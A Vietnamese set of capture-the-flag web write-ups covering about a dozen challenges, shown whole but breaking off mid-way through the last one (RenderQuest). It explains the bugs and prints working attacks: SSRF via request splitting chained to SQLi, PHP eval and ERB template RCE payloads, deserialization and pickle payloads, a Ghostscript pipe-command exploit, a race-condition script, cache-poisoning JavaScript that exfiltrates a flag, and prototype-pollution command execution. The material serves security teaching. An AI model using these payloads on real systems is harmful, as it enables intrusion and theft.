# Weather App ![](https://hackmd.io/_uploads/rJbBwQH9h.png) Oke bắt đầu: ![](https://hackmd.io/_uploads/ryqnvXr52.png) Bài có cho source code: ![](https://hackmd.io/_uploads/SJL0dXBqh.png) Vào routes xem các endpoint: - `/register` (POST): ![](https://hackmd.io/_uploads/BkZVYXr9h.png) Đầu tiên nó kiểm tra IP thực hiện request nếu là `127.0.0.1` thì mới thực hiện tiếp. (Ta có thể nghĩ đến **SSRF**) Sau đó nó nhận 2 param (`username`, `password`) và đưa vào function `register()` trong `database.js`: ![](https://hackmd.io/_uploads/Bklamc7B5n.png) 2 param đó được đưa vào query `INSERT INTO ...` nhưng không qua sanitize hay filter gì => lỗ hổng **SQLi** - `/login` (POST): ![](https://hackmd.io/_uploads/ByIiomrqn.png) Nó cũng nhận 2 param (`username`, `password`) rồi đưa vào function `isAdmin()`, ta kiểm tra trong file `database.js`: ![](https://hackmd.io/_uploads/H1i737rcn.png) Function này không bị lỗ hổng SQLi vì sử dụng `prepare`. Như vậy nếu login vào acc có username là `admin` thì `flag` sẽ hiện ra. - Tiếp tục với endpoint `/api/weather`: ![](https://hackmd.io/_uploads/Hknn2Xr9n.png) Nó nhận 3 param (`endpoint`, `city`, `country`) và xử lý qua `getWeather()`: ![](https://hackmd.io/_uploads/B1EKTmS5h.png) Xem request qua burp thấy: ![](https://hackmd.io/_uploads/rJXaTQH52.png) Như vậy đến đây cũng có thể nghĩ đến việc dựa vào đây để thực hiện **SSRF** **=>** **SQLi**. Tuy nhiên việc thực hiện **SSRF** như thế nào ??? Xem qua thông tin trên `package.json` và tìm ta thấy **`node`** xài version **`8.12.0`** và: ![](https://hackmd.io/_uploads/Hy-MJEBqn.png) Xác định node đang bị lỗ hổng **Http request splitting** (hoặc Response Splitting  hay là CRLF Injection). Link tham khảo: - https://infosecwriteups.com/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501 - https://hackerone.com/reports/409943 - https://www.cs.montana.edu/courses/csci476/topics/http_response_splitting.pdf - https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/ Sơ lược về lỗ hổng này là việc kẻ tấn công kiểm soát được param hay các header và sau khi gửi request chứa dữ liệu độc hại có thể làm server hiểu rằng có thêm request khác và thực hiện nó. Vậy nó thực hiện như thế nào??? Đó là việc NodeJS nhận request và chuyển nó sang dạng chuỗi byte rồi sử dụng `latin1` để decode xử lý header và với các ký tự Unicode lớn sẽ bị cắt bớt ví dụ: ![](https://hackmd.io/_uploads/ryw1o4S5n.png) Tương tự thì `\u010A` là `\n` và `\u0120` sẽ là ` ` (space). Như ta đã biết là việc sử dụng `\r\n` để xuống dòng và `\r\n\r\n` để kết thúc request và tiếp đến sẽ là request tiếp theo, lợi dụng điều đó ta có thể thực thi tấn công tạo thêm request để máy chú thực hiện (SSRF). Ví dụ: ![](https://hackmd.io/_uploads/B1lB-Hrch.png) Tiếp tục với lỗ hổng **SQLi** với query là `INSERT ...`, ta không thể inject để tạo thêm 1 acc có username là `admin` được vì đã tồn tại mà thay vào đó ta sử dụng `ON CONFLICT` để update ví dụ: ``` INSERT INTO users (username, password) VALUES ('admin','1') ON CONFLICT(username) DO UPDATE SET password='1' ``` Ví dụ: Có username `admin` với password là `qwerty` ![](https://hackmd.io/_uploads/Byxd4dB92.png) Sau đó: ![](https://hackmd.io/_uploads/BJaH4drq2.png) Như vậy trong bài này ta sẽ inject vào username và password là: `username=admin&password=1') ON CONFLICT(username) DO UPDATE SET password='abc';--` khi đó password của `admin` sẽ trở thành `abc`. Như vậy ta script: ``` import requests url = "http://206.189.120.31:32420/api/weather" username = "admin" password = "1') ON CONFLICT(username) DO UPDATE SET password='abc';--" parsedUser = username parsedPass = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22") data=f"username={parsedUser}&password={parsedPass}" contentLength = len(data) endpoint="127.0.0.1/\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120"+str(contentLength)+"\u010D\u010A\u010D\u010A"+data+"\u010D\u010A\u010D\u010AGET\u0120/" r = requests.post(url = url, json={'endpoint': endpoint, 'city': 'Hanoi','country': 'VN'}) ``` Tóm lại sẽ thế này: ![](https://hackmd.io/_uploads/ByW45Fr93.png) Sau đó login vào với username là `admin` và password là `abc`: ![](https://hackmd.io/_uploads/ryL1HKBqn.png) # LoveTok ![](https://hackmd.io/_uploads/r1I7idLq2.png) Oke bắt đầu: Có vẻ đây là app tạo ra time gì đó: ![](https://hackmd.io/_uploads/H1OPjO8c2.png) Đi vào source code được cho xem thử: ![](https://hackmd.io/_uploads/HJsas_L9h.png) Xem file `index.php`: ![](https://hackmd.io/_uploads/r1oJhdIqh.png) Tìm hiểu theo flow của code thì có thứ đáng chú ý, đó là nó sẽ tạo đối tượng `TimeController` như sau: ![](https://hackmd.io/_uploads/BylYhdL9n.png) Như vậy là bài nhận 1 param `format` (nếu không sẽ tự gán bằng `r`) rồi tạo đối tượng qua class `TimeModel` và gọi method `getTime()`: ![](https://hackmd.io/_uploads/HJbkauLc3.png) Như vậy là `format` được xử lý qua `addslashes()` rồi được đưa vào `eval()` - một hàm nguy hiểm trong php vì nó có thể thực thi code. - `addslashes()` sẽ thêm `\` vào có ký tự như: `'`, `"`, `\`, `null`. - `eval()` có thể thực thi code độc hại như: `eval('system("id");')`. Mặt khác: ![](https://hackmd.io/_uploads/B1zNRdIqn.png) Flag nằm ở `\` với tên chứa ký tự random. Vì vậy ta có thể nghĩ đến việc **RCE** qua `eval()`. Vậy đầu tiên bypass cái `addslashes()` như thế nào? Đó là việc sử dụng `${}`. Nó là syntax có thể nhúng biến vào ví dụ: ![](https://hackmd.io/_uploads/Syhm-K8ch.png) Tuy nhiên nó cũng có thể thực thi code php, mình có ví dụ đơn giản: Kết quả của `system('whoami')` là `kali`: ![](https://hackmd.io/_uploads/S1WOXKIc2.png) code test: ![](https://hackmd.io/_uploads/BymQQKUqh.png) Kết quả: ![](https://hackmd.io/_uploads/HyZhmKIqn.png) Tham khảo thêm ở <a href="https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/php">đây</a>. Oke ta chỉ cần biết nó có thể thực thi code, bây giờ test với payload: `${phpinfo()}`, kết quả: ![](https://hackmd.io/_uploads/S1t-NK8qh.png) Như vậy là thành công, giờ ta sẽ RCE qua payload: `${system($_GET[1])}` cùng với `&1=command`: ![](https://hackmd.io/_uploads/rygvNFL9h.png) Giờ chỉ việc đọc flag: ![](https://hackmd.io/_uploads/ryKO4FI5h.png) ![](https://hackmd.io/_uploads/Hyo9EtL53.png) # Toxic ![](https://hackmd.io/_uploads/r1cELt852.png) Oke bài cho source code: ![](https://hackmd.io/_uploads/SkF8LtL53.png) Vẫn giống bài trước là phải **RCE**: ![](https://hackmd.io/_uploads/SkHu8KUqh.png) File `index.php`: ![](https://hackmd.io/_uploads/HkVJPYL9n.png) Như vậy là cookie chứa **serialize data** và được deserialize qua hàm `unserialize()`. Oke đến đây ta xác định bài này thuộc lỗ hổng <a href="https://hackmd.io/@chuong/insecure-deserialization-trong-php">**Insecure Deserialization**</a>. Giờ ta đi tìm và phần tích các class và có class `PageModel`: ![](https://hackmd.io/_uploads/BJYDYtIq2.png) Như vậy ta tìm được hàm `include()` đây là **filesystem functions** có thể khai thác đuợc vì có thể đọc được nội dung file từ system. Nó nằm trong `__destruct()` - **magic method** này sẽ tự động thực thi khi đối tượng bị hủy hoặc chương trình kết thúc. Lỗ hổng này cho phép sửa các thuộc tính cũng như object, nghĩa là ta kiểm soát được `include($this->file);` => **LFI**. Ví dụ script khai thác đơn giản để đọc file `/etc/passwd`: ``` <?php class PageModel { public $file; public function __destruct() { include($this->file); } } $a=new PageModel(); $a->file='/etc/passwd'; echo base64_encode(serialize($a)); ?> ``` Kết quả được: `Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=` Giờ test nó: ![](https://hackmd.io/_uploads/Hk3yxq893.png) Vậy là thành công đạt **LFI**, và để nó dẫn đến **RCE** cũng có nhiều cách và đơn giản nhất mà mình thử thành công là thông qua file log vì theo source mình biết được máy chủ là nginx, cũng qua file `Dockerfile` mình test thành công `/var/log/nginx/access.log`, giờ set nó giá trị `file` của script trên mà test: ![](https://hackmd.io/_uploads/HklLbcUc2.png) ![](https://hackmd.io/_uploads/BkvwWcL53.png) Giờ chỉ việc inject code vào `User-Agent`: ![](https://hackmd.io/_uploads/By5CZ9L93.png) Send lại: ![](https://hackmd.io/_uploads/SJ--fcI92.png) Giờ chỉ việc đọc flag: ![](https://hackmd.io/_uploads/Sk64f9Icn.png) ![](https://hackmd.io/_uploads/H1_wGq892.png) # petpet rcbee ![](https://hackmd.io/_uploads/SJiY6VOqn.png) Oke bắt đầu: ![](https://hackmd.io/_uploads/B11Tp4_qn.png) Nhìn sơ qua dễ dàng đoán được bài này thuộc lỗ hổng **file uploads**, mình thử up lên một ảnh thì nó trả lại ảnh gif, giờ tìm hiểu xem source nó đã xử lý thế nào: ![](https://hackmd.io/_uploads/Sk8V04_c2.png) Như vậy app chạy bằng Flask với Blueprint. Xem các endpoint trong file `routes.py`: ![](https://hackmd.io/_uploads/HJh6C4u9h.png) Như vậy khi up file lên thành công nó lại được đưa vào func `petpet()`, tiếp tục xem nó trong file `util.py`: ![](https://hackmd.io/_uploads/Sk5PxHOc3.png) Tóm lại `allowed_file()` kiểm tra extension file qua `rsplit()`, `save_tmp()` xử lý tên file qua `secure_filename()` và `petmotion()` để convert sang gif. Mình thử xem cách hoạt động từng function trên nhưng không tìm được cách bài bypass thông thường. Đến đây ta tiếp tìm các lỗ hổng hay CVE của thư viện, framework và đúng vậy trong file `Dockerfile` có: ![](https://hackmd.io/_uploads/H1en-Bu52.png) Như vậy là được install thêm cái gì đấy, giờ search google xem: ![](https://hackmd.io/_uploads/H13yfSO92.png) Sau 1 hồi tìm tòi xác định dính `CVE-2018-16509`. > Tổng quan: > Ghostscript là phần mềm để thao tác với các file Postscript và PDF. Nó tồn tại trong server (`/usr/local/bin/gs`), hiểu đơn giản là nhờ vậy mà nó có thể thực thi command -> RCE. Các functions như `resize`, `crop`, `rotate`, và `save` là nguyên nhân kích hoạt lỗ hổng này. > Tham khảo thêm: https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509 Oke giờ dùng tạo 1 file ps chứa code độc hại rồi đổi sang extension được phép: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%ls > /app/application/static/petpets/oke.txt) currentdevice putdeviceprops ``` Như vậy là kết quả `ls` được lưu vào path `/app/application/static/petpets/oke.txt` mà ta truy cập được. Upload và vào xem kết quả: ![](https://hackmd.io/_uploads/B1f5wB_q3.png) và giờ đọc flag bằng `cat flag`: ![](https://hackmd.io/_uploads/rkj1uBd5n.png) # Diogenes' Rage # Neonify ![](https://hackmd.io/_uploads/H1C4Tru92.png) Oke bắt đầu: ![](https://hackmd.io/_uploads/BkCSpSu5h.png) App được viết bằng ruby và có 1 input khi nhập vào sẽ in ra: ![](https://hackmd.io/_uploads/r1Bj6Hu9h.png) Có thể đây là lỗ hổng **SSTI**, giờ vào source xem nó xử lý input thế nào: ![](https://hackmd.io/_uploads/SkLOCrd5n.png) Như vậy là param `neon` được match với regex `/^[0-9a-z ]+$/i`, nếu đúng thì sẽ sử dụng engine ERB để in ra (xảy ra SSTI). Nhưng chỉ được dùng số mà chữ cái thì không tạo được payload nào để có thể đọc flag. Để ý thì regex **`/^[0-9a-z ]+$/i`** chỉ có flag là **i** (case Insensitive) mà không có **m** (Multiline) nghĩa là regex đó chỉ áp dụng cho dòng đầu tiên, vậy ta chỉ cần inject payload vào dòng sau là không bị match. Oke mở burp dùng `%0a`(encode của newline) xem sao và sau khi fuzz vài payload thì thấy nó hoạt động với `<%= 7*7 %>`: ![](https://hackmd.io/_uploads/ByOURj_5h.png) Giờ tìm và đọc flag với payload: `<%= `cmd` %>`: (Tham khảo thêm payload tại <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby">đây</a>) ![](https://hackmd.io/_uploads/rJrt1h_52.png) ![](https://hackmd.io/_uploads/HJns1nd93.png) # Diogenes' Rage ![](https://hackmd.io/_uploads/ry2_76icn.png) Oke bắt đầu: ![](https://hackmd.io/_uploads/SyatQ6oc2.png) Nhìn sơ qua có vẻ là app mua đồ gì đó, giờ đi vào source xem: ![](https://hackmd.io/_uploads/ryV37piqh.png) File `routes/index.js` chứa 2 endpoint đáng chú ý: - `/api/purchase`, đây là nơi flag xuất hiện: ![](https://hackmd.io/_uploads/S1cuNao9n.png) Hàm `registerUser()` tạo user tuy nhiên giá trị `balance` (dùng để mua item) mặc định bằng `0`: ![](https://hackmd.io/_uploads/ryHQSai52.png) flag xuất hiện khi mua thành công item có `item_name=='C8'` và nó có giá là `13.37`: ![](https://hackmd.io/_uploads/HkR6H6iqh.png) - Endpoint tiếp theo là `/api/coupons/apply`: ![](https://hackmd.io/_uploads/B1-EI6s52.png) Đây là nơi apply coupon và nó có `coupon_code` là `HTB_100` với giá trị là `1`: ![](https://hackmd.io/_uploads/HydDIas53.png) Như vậy nếu có apply coupon cũng không đủ để mua item `C8` chứa flag: ![](https://hackmd.io/_uploads/S1VTPTocn.png) ![](https://hackmd.io/_uploads/SySAD6i9n.png) Vậy lỗ hổng nằm ở đâu???. Các func trong `database.js` đều sử dụng `prepare()` nên không thể SQLi, trông việc apply coupon thì có check user đã dùng chưa: ![](https://hackmd.io/_uploads/r17UfM3q2.png) Vậy liệu có thể apply nhiều cái vào 1 user không? Như đã biết thì bài này dùng `Async / Await` để xử lý các tác vụ bất đồng bộ cần thời gian xử lý, đó là ý tưởng có thể xảy ra **race condition** (à thật ra là mình đã đọc wu rùi :>>). >Sơ lược: >**Race condition**(Time Of Check/Time Of Use, TOC/TOU) xảy ra khi có nhiều threads cùng truy cập vào tài nguyên nhằm thay đổi dữ liệu. >Tham khảo thêm: >- https://www.veracode.com/security/race-condition >- https://medium.com/@cipiklevis/how-to-resolve-a-race-conditions-in-python-5ac7fdd9285c >- https://ctf-wiki.mahaloz.re/pwn/linux/race-condition/introduction/ >- https://book.hacktricks.xyz/pentesting-web/race-condition Giờ có thể exploit bằng **python** script. Không hiểu sao mình dùng `multiprocessing` và `requests` lại không được nên mình dựa vào <a href="https://book.hacktricks.xyz/pentesting-web/race-condition#using-python">đây</a> (sử dụng `asyncio` và `httpx`) rồi build lại :>. Ngoài ra bài writeup <a href="https://drt.sh/posts/htb-diogenes-rage/">này</a> viết script bằng **golang** và **curl**. Và cũng có thể dùng extension **Turbo Intruder** trong Burp để giải. ``` import asyncio import httpx url="http://143.110.169.131:32424" headers={"Content-Type":"application/json"} def get_session(): json={"item":"A1"} r=httpx.post(url+"/api/purchase",headers=headers,json=json) return r.cookies['session'] async def exploit(client,c): json={"coupon_code":"HTB_100"} resp = await client.post(url+'/api/coupons/apply', cookies={"session": c}, json=json,headers=headers) return resp.text def get_flag(c): json={"item":"C8"} r=httpx.post(url+"/api/purchase",headers=headers,json=json, cookies={"session": c}) print(r.json()) async def main(): c=get_session() async with httpx.AsyncClient() as client: tasks = [] for _ in range(30): #30 times tasks.append(asyncio.ensure_future(exploit(client,c))) results = await asyncio.gather(*tasks, return_exceptions=True) for r in results: print(r) await asyncio.sleep(1) get_flag(c) asyncio.run(main()) ``` Giải thích 1 chút là đầu tiên cần mua item để lấy session xác định user được sử dụng (**get_session()**), sau đó sau đó sử dụng `asyncio` để exploit cụ thể là tạo 30 tác vụ bất đồng bộ để apply coupon vào user (đã xác định qua session trên) và cuối cùng là mua item `C8` để lấy flag (**get_flag()**). Kết quả: ![](https://hackmd.io/_uploads/H1g1x2Vp5h.png) # C.O.P ![](https://hackmd.io/_uploads/ByLAUt69n.png) Khi click vào sản phẩm: ![](https://hackmd.io/_uploads/HkPEuKT5n.png) Oke đi vào source code lun nhé: ![](https://hackmd.io/_uploads/SySGDKa9h.png) App được chạy bằng `Flask`: ![](https://hackmd.io/_uploads/SkELOFp5h.png) Ngoài ra app sử dụng module `pickle`, đây là module nguy hiểm. >Theo docs đề cập: > >**Warning** The `pickle` module **is not secure**. Only unpickle data you trust. >It is possible to construct malicious pickle data which will **execute arbitrary code during unpickling**. Never unpickle data that could have come from an untrusted source, or that could have been tampered with. Tiếp tục: ![](https://hackmd.io/_uploads/SJpEiK65n.png) Trong file `database.py`: ![](https://hackmd.io/_uploads/By58ita5n.png) `item` lưu các đối tượng `Item`. Tiếp theo là sử dụng `pickle` chuyển các phần tử thành 1 chuỗi bytes rồi base64 encode và trả về mảng `shop` chúa các chuỗi dạng base64. Cuối cùng là thực thi các câu truy vấn trong `schema.sql` sau khi đưa các giá trị `shop` vào: ![](https://hackmd.io/_uploads/SJCBaYTc3.png) Như vậy chắc chắn là app đang bị lỗ hổng **Insecure Deserialization**. >Sơ lược về lỗ hổng này: >Đầu tiên muốn truyền tải hay lưu trữ dữ liệu(đối tượng) thì các dữ liệu(đối tượng) đó cần chuyển đổi về dạng như chuỗi byte(với module `pickle` như bài này), string, JSON, YAML,... đó là **serialize data**. Quá trình này gọi là **serilization** (**dumps()**/**dumps()** trong `pickle`). Và để trở lại trạng thái ban đầu thì cần quá trình ngược lại là **deserialization** (**load()**/**loads()** trong `pickle`). Khi dữ liệu trong quá trình này nhận được người dùng kiểm soát dẫn đến việc chèn vào các malicious code dẫn đến xảy ra lỗ hổng. Như đã nhắc đến đó là giá trị mảng `shop` (nó được lấy ra và đưa vào **loads()** trong file `app.py`), liệu ta có thể kiểm soát nó? Tìm hiểu cách nó lấy ra cụ thể trong file `models.py`: ![](https://hackmd.io/_uploads/S189bcaqn.png) Như ta thấy `product_id` có thể kiểm soát được và nó không hề được filter hay sanitize gì dẫn đến lỗ hổng **SQLi**. Ví dụ với `product_id` bằng `1` tương ứng với url `http://159.65.81.48:32174/view/1` thì sẽ lấy ra chuối base64 như đã nhắc ở trên và qua **loads()** để render ra thông tin sản phẩm. Vậy lợi dụng **SQLi** dùng query **UNION** để thực thi tấn công. Giờ chỉ việc tạo payload đọc flag ở file `/flag.txt` (theo source). Script: ``` import pickle, base64 class test: def __reduce__(self): p="open('/flag.txt').read()" return (eval,(p,)) rs={'name':test()} print(base64.b64encode(pickle.dumps(rs)).decode('utf8')) ``` ... # EasterBunny ![](https://hackmd.io/_uploads/rkTssjPih.png) Oke bắt đầu thôi :V ![](https://hackmd.io/_uploads/rJ7RsjPo2.png) Nhìn như app có thể gửi thư và giờ tìm hiểu source code thôi. ![](https://hackmd.io/_uploads/Skyfhsvoh.png) Bắt đầu với file `database.js` trước vì nó chứa flag: ![](https://hackmd.io/_uploads/rkyjnoPo2.png) Flag có `id` là `3` và `hidden` là `1`. Trong file này có hàm `insertMessage()` để insert vào db và `getMessage()` để lấy `message` với giá trị `id`. Như vậy có thể lấy flag bằng cách gọi hàm này với đối số id là `3`. Ngoài ra mọi truy vấn đều dùng `prepare` nên sẽ không bị SQLi. Tiếp tục với file `routes.js` để xem các endpoints: - `/` và `/letter`: sử dụng `cdn` để cấu hình server: ![](https://hackmd.io/_uploads/Syi-x2von.png) Cụ thể là nó được đưa vào tag `base`: ![](https://hackmd.io/_uploads/B1crxhDo3.png) tag `base` sử dụng để xác định base URL nghĩa là: Nếu các tag với đường dẫn tương đối như: `<script src="viewletter.js"></script>` và có tag `base`: `<base href="https://atttack.com" />` nghĩa là `viewletter.js` có đường dẫn tuyệt đối là `https://atttack.com/viewletter.js`. Như vậy kẻ tấn công đã thao túng được file này. Mặt khác `cdn`(content delivery network) lại được chỉ định bởi header `X-Forwarded-Host` (kiểm soát được bởi người dùng) => có vector tấn công. - `/submit` (POST): nhận vào `message` từ người dùng và được insert vào db, sau đó dùng bot để truy cập. Đến đây có thể nghĩ về lỗ hổng **XSS**. ![](https://hackmd.io/_uploads/HypIJ3wjn.png) - Cuối cùng là `/message/:id`, ở đây có `getMessageCount()` (dùng để lấy `flag`), đồng thời phải qua được `isAdmin()` (hàm này kiểm tra `ip` là `127.0.0.1` có thể nghĩ đến **SSRF**). ![](https://hackmd.io/_uploads/Skov4nPi3.png) Như vậy là có lỗ hổng **XSS** dấn đến **SSRF** lấy flag. Vậy giờ chỉ cần dựa vào vector tấn công (`cdn`) để tạo ra **XSS**. Tổng quan 1 chút thì web sử dụng `varnish`(cấu hình ở file `cache.vcl`) để sử dụng cache lưu trữ, kết hợp lại đó là lỗ hổng <a href="https://portswigger.net/web-security/web-cache-poisoning">**Web cache poisoning**</a>. >Sơ lược về lỗ hổng này: >Đầu tiên nói về việc dùng cache để lưu trữ: khi có 1 request nó sẽ kiểm tra xem trong cache có request nào tương tự không, nếu có sẽ lấy response ở đó trả không thì lại nhờ server trả về và khi đó có thể response đó lại được lưu vào cache. Lợi dụng điều đó, kẻ tấn công sẽ tạo malicous request có response chứa malicous code, khi đó nạn nhận gửi request tương tự thì cache sẻ trả về respons đó. Để làm được điều này cần dựa vào các yếu tố như `key` để xác định request, thời gian cache hết hạn,... Trong bài này cache sẽ hết hạn sau 60s, 1 dấu hiệu khác là trong response có header `X-Cache` nếu giá trị là `MISS` nghĩa là nó không có trong cache và sẽ được lưu vào cache còn `HIT` nghĩa là nó lấy trong cache. Giờ ta tạo 1 malicous request `/letter?id=` dựa vào header `Host` và `X-Forwarded-Host`. Vì mỗi lần `/submit` thì `id` tăng 1, nên cần tạo ra malicous request với `id` là thêm 1 so với hiện tại. Như đã nói trên ta có kiểm soát được file `viewletter.js`, dựa vào đó tạo code để fetch đến các endpoints thực thi **SSRF**: ``` fetch("http://127.0.0.1/message/3").then((r) => { return r.text(); }).then((x) => { fetch("http://127.0.0.1/submit", { "headers": { "content-type": "application/json" }, "body": x, "method": "POST" }); }); ``` Sao cho: ![](https://hackmd.io/_uploads/HJz5Y6wsh.png) Giờ tạo malicous request: ![](https://hackmd.io/_uploads/HJyMfpDih.png) Giờ submit đồng thời file `viewletter.js` cũng được thực thi luôn: ![](https://hackmd.io/_uploads/S1QUfTwj2.png) `Flag` sẽ nằm trong message (`id=18`) được tạo bởi file trên (lấy message của `id` là `3`): ![](https://hackmd.io/_uploads/HJI1maPi3.png) # breaking grad ![](https://hackmd.io/_uploads/HJrxgquih.png) Bài cho source code: ![](https://hackmd.io/_uploads/SJBMxcuj3.png) Theo file `Dockerfile`, tên file flag tạo từ các ký tự ngẫu nhiên, vì vậy ta nghĩ đến **RCE**: ![](https://hackmd.io/_uploads/BksHlquon.png) Bắt đầu với file `routes/index.js`: - `/debug/:action`: nhận param `action`: ![](https://hackmd.io/_uploads/Syfhg9Oj3.png) và được xử lý bới `excute()`: ![](https://hackmd.io/_uploads/BkyyWcOjh.png) Hàm này có sử dụng module `child_process` để thực thi command. - `/api/calculate` tạo đối tượng `student` với 2 thuộc tính `name` và `paper`: ![](https://hackmd.io/_uploads/HJLU-5_ih.png) và được xử lý qua `clone()`: ![](https://hackmd.io/_uploads/SJV_W5uj3.png) Như vậy nó sử dụng phương pháp không an toàn để hợp nhất các đối tượng (merge), điều này dẫn đến lỗ hổng <a href="https://portswigger.net/web-security/prototype-pollution">**Prototype pollution**</a>. >Sơ lược về lỗ hổng này: >Trong JS mọi đối tượng đều có thuộc tính `__proto__`, thuộc tính này trỏ đến đối tượng khác gọi là prototype. Prototype pollution là lỗ hổng bảo mật xảy ra khi kẻ xấu tấn công vào các prototype đó, khi đó đối tượng cũng bị thay đổi vì nó được kế từ prototype của nó. > >![](https://hackmd.io/_uploads/HkLn4qds3.png) Tuy nhiên trong bài `__proto__` đã bị filter và ta có thể gọi đến prototye bằng 1 cách khác là `constructor.prototype`. Kiểm tra theo trong bài và theo file `StudentHelper.js`, nếu `name` có chứa `Baker` hoặc `Purvis` hoặc giá trị `paper<10` thì sẽ được chuỗi ngầu nhiên như bên dưới: ![](https://hackmd.io/_uploads/ByTHI5ujh.png) Ngược lại thì `Passed.`. ![](https://hackmd.io/_uploads/rkpnU9Ojn.png) Như vậy là `student` được kế thừa giá trị paper từ prototype của nó => thành công. Như đã nói ở trên ứng dụng sử dụng `child_process` nên ta có thể **RCE** bằng payload: ``` {"constructor":{"prototype":{"execPath":"ls","execArgv":["-la","."]}}} ``` ![](https://hackmd.io/_uploads/rJVdi5ui2.png) Sau đó kiểm tra tại `/debug/version`: ![](https://hackmd.io/_uploads/SkQ2iqOsh.png) Và chỉ việc đọc flag: ``` {"constructor":{"prototype":{"execPath":"cat","execArgv":["flag_e1T6f"]}}} ``` ![](https://hackmd.io/_uploads/SJAt3cuoh.png) # TwoDots Horror ![](https://hackmd.io/_uploads/Hy6mIZFsh.png) Source code: ![](https://hackmd.io/_uploads/ByZwIWYon.png) Tổng quan: Database có 2 bảng là `users` và `posts` với các hàm dùng để register, login, create post,... (đều sử dụng `prepare` nên không thể SQLi) `Flag` nằm trong cookie của con bot, và nó có truy cập `http://127.0.0.1:1337/review`: ![](https://hackmd.io/_uploads/S1UtPWKs3.png) Như vậy khả năng đây là lỗ hổng **XSS** để steal cookie. Xem file `routes/index.js` xem các endpoints: - `/review` chỉ bot mới truy cập được và xem các posts. ![](https://hackmd.io/_uploads/B1eAwbKs2.png) Và trong `review.html`: ![](https://hackmd.io/_uploads/rJlfx3CYjn.png) `{{ post.content|safe }}` có `safe` cho phép in ra các tag HTML => **XSS** - `/api/register`: đăng ký user. - `/api/login`: đăng nhập. - `/feed`: chứa các bài posts. - `/profile`: thông tin user. - `/api/submit`: có chức năng tạo post, yêu cầu `content` chứa 2 dấu `.` và có bot xem: ![](https://hackmd.io/_uploads/SywHFbFs2.png) - `/api/upload`: chức năng upload avatar user. Nó được xử lý qua 2 module `is-jpg` và `image-size`, có thể xảy ra lỗ hổng **file upload**. ![](https://hackmd.io/_uploads/BJ-KcWKih.png) - `/api/avatar/:username`: sử dụng `sendFile()` để trả về file avatar qua HTTP. - `/logout`: đăng xuất. Như vậy ở `/api/submit` là nơi bắt đầu **XSS** vì nó không được fillter gì. Mặt khác ứng dụng được enable **CSP**: ![](https://hackmd.io/_uploads/SJYK6bFon.png) Vì vậy sử dụng **file upload** để đạt **XSS** nhằm bypass **CSP** là ý tưởng của bài này. Ở `/api/avatar/:username` có extract data của avatar, ta nghĩ đến việc chèn payload JS gì đó vào đó. Khi có tag `<script src="/api/avatar/:username"></script>` thì nó thực thi code JS trong data đó. Quan trọng là cần tìm cách để code JS hợp lệ và thực thi được. Giờ xem lại module `is-jpg` nó sẽ kiểm tra bytes header của ảnh. (xem mã nguồn của nó) ![](https://hackmd.io/_uploads/r1VQgzFo3.png) Còn module `image-size`(mã nguồn tại <a href="https://github.com/image-size/image-size/blob/a38b56fe7303898ce6811adb213e518a57593d10/lib/types/jpg.ts">đây</a>): nó sẽ kiểm tra buffer của ảnh để lấy `width` và `height` sao cho cả 2 lớn hơn `120` là được. Cụ thể là nó xử lý qua 2 hàm chính là `validate()` (kiểm tra 2 bytes đầu), còn `calculate()` thì: ![](https://hackmd.io/_uploads/Sk3ICqqjn.png) Một kỹ thuật để tạo JPEG chứa payload liên quan đến bài: https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs Trước khi tạo ảnh thì ta cần biết JS sẽ thực thi kiểu như thế này: ![](https://hackmd.io/_uploads/rJ0pko5sh.png) Oke bắt đầu: sau khi bỏ 4 bytes signature của JPEG thì 2 bytes tiếp theo sẽ là chỉ định độ dài của JPEG header và đồng thời phải hợp lệ trong JS và ta chọn là `09 3a` (bài trên có giải thích :V). Ngoài ra thêm 4 bytes tiếp là `4A 46 49 46` (để cho nó có định dạng là JFIF cho js hợp lệ) và sử dụng `2A`(`*` và `2F`(`/`) để comment. Quay trở lại hàm `calculate` ở trên, giá trị biến `i` sẽ là `2362` vậy byte thứ `2362` (kể từ byte thứ 4 vì đã bỏ 4 bytes đầu) sẽ có giá trị là `FF`, byte tiếp theo sẽ là `C1` hoặc `C2` hoặc `C3` và 4 byte ở index `2367`->`2370` là size ảnh. Mình tạo bằng tay qua `HxD editor` hoặc có thể dùng script <a href="https://github.com/s-3ntinel/imgjs_polygloter">này</a>. ![](https://hackmd.io/_uploads/HyEr0jqi2.png) Và đệm thêm byte cho đến khi cần (): ![](https://hackmd.io/_uploads/BkGKAo5jh.png) Giờ dùng nó để update avatar: ![](https://hackmd.io/_uploads/H1Hyynqs3.png) Và dùng payload: `<script charset="ISO-8859-1" src="/api/avatar/:username"></script>..` (tại sao dùng `charset="ISO-8859-1"` thì bài viết trên cũng nói ròi :V) ![](https://hackmd.io/_uploads/SyMhynqsh.png) Kết quả: ![](https://hackmd.io/_uploads/rkdpy2cjn.png) # RenderQuest ![](https://hackmd.io/_uploads/ryhLO30f6.png) ![](https://hackmd.io/_uploads/rJ1Ydn0Mp.png) Bài viết bằng golang và fuzz qua trang web ta thấy được: - Param `page` có giá trị là 1 file: ![](https://hackmd.io/_uploads/rJIJF30fp.png) - Có 1 form nhập vào `?use_remote=true&page=`, và sẽ request đến page: ![](https://hackmd.io/_uploads/BkhBF30M6.png) Như vậy có thể là 1 bài về **SSRF**, bây giờ xem source có gì: Hàm `main`: ![](https://hackmd.io/_uploads/HyD1s30Mp.png) Và ta sẽ tập trung vào `/render`: ![](https://hackmd.io/_uploads/SJzwo20z6.png) Hàm `readRemoteFile` sẽ thực hiện request: ![](https://hackmd.io/_uploads/SkvAs20GT.png) Nhưng nó không có gì đặc biệt, tạm bỏ qua nó và xem tiếp: 